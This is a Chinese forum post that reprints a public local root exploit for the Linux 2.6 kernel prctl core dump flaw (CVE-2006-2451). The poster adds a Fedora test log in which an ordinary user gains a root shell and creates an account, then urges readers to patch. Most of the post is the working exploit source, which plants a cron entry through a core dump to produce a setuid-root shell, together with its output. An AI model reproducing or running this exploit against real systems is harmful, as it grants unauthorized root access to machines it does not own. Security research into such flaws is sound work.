Linux Kernel2.6x 最新本地溢出代码

以下代码在xfocus上看到的...

CODE:

/*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
/* By:                                               */
/* - dreyer       (main PoC code)   */
/* - RoMaNSoFt (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include
#include
#include
#include
#include
#include
#include
#include

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() {
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
    printf("By: dreyer & RoMaNSoFt\n");
    printf("[ 10.Jul.2006 ]\n\n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("[*] Creating Cron entry\n");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
    sleep(62);

    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
    system("/tmp/sh -p");
}

我作了一下测试:

QUOTE:

[fred@fedora ~]$ uname -a
Linux fedora 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux
[fred@fedora ~]$ id
uid=500(fred) gid=500(fred) groups=500(fred)
[fred@fedora ~]$ ls
amsn_received  Desktop  linux.bin  pics  rs_prctl_kernel.c  vmware
[fred@fedora ~]$ gcc -o rs_prctl_kernel rs_prctl_kernel.c
[fred@fedora ~]$ ls
amsn_received  Desktop  linux.bin  pics  rs_prctl_kernel  rs_prctl_kernel.c  vmware
[fred@fedora ~]$ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

Creating Cron entry

Sleeping for aprox. one minute (** please wait **)

Running shell (remember to remove /tmp/sh when finished) ...
sh-3.1# whoami
root
sh-3.1# id
uid=500(fred) gid=500(fred) euid=0(root) groups=500(fred)
sh-3.1# /usr/sbin/useradd test
sh-3.1# exit
exit
[fred@fedora ~]$

可见危害性不小，普通用户可得到root权限,各位朋友还是打一下最新的内核补丁吧~~